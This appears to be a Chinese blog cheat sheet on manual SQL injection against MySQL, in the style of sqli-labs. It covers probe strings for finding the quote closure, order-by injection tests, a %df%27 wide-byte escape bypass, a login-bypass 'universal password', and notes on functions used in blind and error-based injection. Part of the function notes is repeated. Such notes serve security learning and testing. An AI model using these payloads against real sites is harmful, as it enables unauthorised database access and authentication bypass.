首先尝试:

?id=1’
?id=1”

1如果都报错,则为整形闭合。

2如果单引号报错,双引号不报错。
然后尝试

?id=1' --+
?id=1' #

无报错则单引号闭合。
报错则单引号加括号。

3如果单引号不报错,双引号报错。
然后尝试

?id=1" --+
?id=1" #

无报错则双引号闭合。
报错则双引号加括号。


1

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1 and true --+
或者
?id=true and true --+

输入,错误回显

?id=1 and false --+
或者
?id=true and false --+

那么就是整形闭合

2

输入(其中id=1,1是正确的数据库存在的值),正常回显

?id=1’ and true --+
或者
?id=true‘ and true --+

输入,错误回显

?id=1’ and false --+
或者
?id=true‘ and false --+

那么就是单引号闭合,其他符号同理

order by闭合方式

是否存在注入,若结果不同,就是存在注入,可以往下进行,若结果相同,判断是否为字符注入

?sort=1 desc
?sort=1 asc

是否为数字注入,显示结果不同,则为数字注入,相同,则往下进行

?sort=right(version(),1)
?sort=left(version(),1)

是否为布尔类型,此时我们可以用报错注入和延时注入

?sort=rand(true)
?sort=rand(false)

是否为字符注入,回显结果不一样,就说明闭合方式为单引号,其他闭合方式(双引号,单引号括号,双引号括号)同理

?sort=1
?sort=1'

单引号转义绕过

当时用单引号’,代码转义为\’,就使用如下方式替换掉单引号

%df%27
�'
%EF%BF%BD

万能密码

�' and1=1 #

database()

返回当前数据库名

version()

返回数据库的版本号

CONCAT(s1,s2…sn)

字符串 s1,s2 等多个字符串合并为一个字符串

CONCAT_WS(x, s1,s2…sn)

同 CONCAT(s1,s2,…) 函数,但是每个字符串之间要加上 x,x 可以是分隔符

LIMIT

mysql> SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15

//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1: 
mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.

//如果只给定一个参数,它表示返回最大的记录行数目: 
mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

//换句话说,LIMIT n 等价于 LIMIT 0,n。

sleep

睡觉?

left

LEFT(s,n) 返回字符串 s 的前 n 个字符

返回字符串 runoob 中的前两个字符:

SELECT LEFT(‘runoob’,2) – ru

mid

mid()函数为截取字符串一部分。mid(column_name,start,length)

column_name 必需,要提取字符的字段

start 必需,规定开始位置(起始为1)

length 可选,要返回的字符数,如果省略则返回剩余文本

eg:str=“123456” mid(str,2,1) 结果为2

substr

substr()

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII

返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count

返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if

IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确

updatexml

updatexml()函数,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度

ASCII

返回字符串 s 的第一个字符的 ASCII 码。
返回 CustomerName 字段第一个字母的 ASCII 码:

SELECT ASCII(CustomerName) AS NumCodeOfFirstChar
FROM Customers;

count

返回查询的记录总数,expression 参数是一个字段或者 * 号

返回 Products 表中 products 字段总共有多少条记录:

SELECT COUNT(ProductID) AS NumberOfProducts FROM Products;

if

IF(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2
SELECT IF(1 > 0,‘正确’,‘错误’)
->正确

updatexml

updatexml()函数,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)

select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值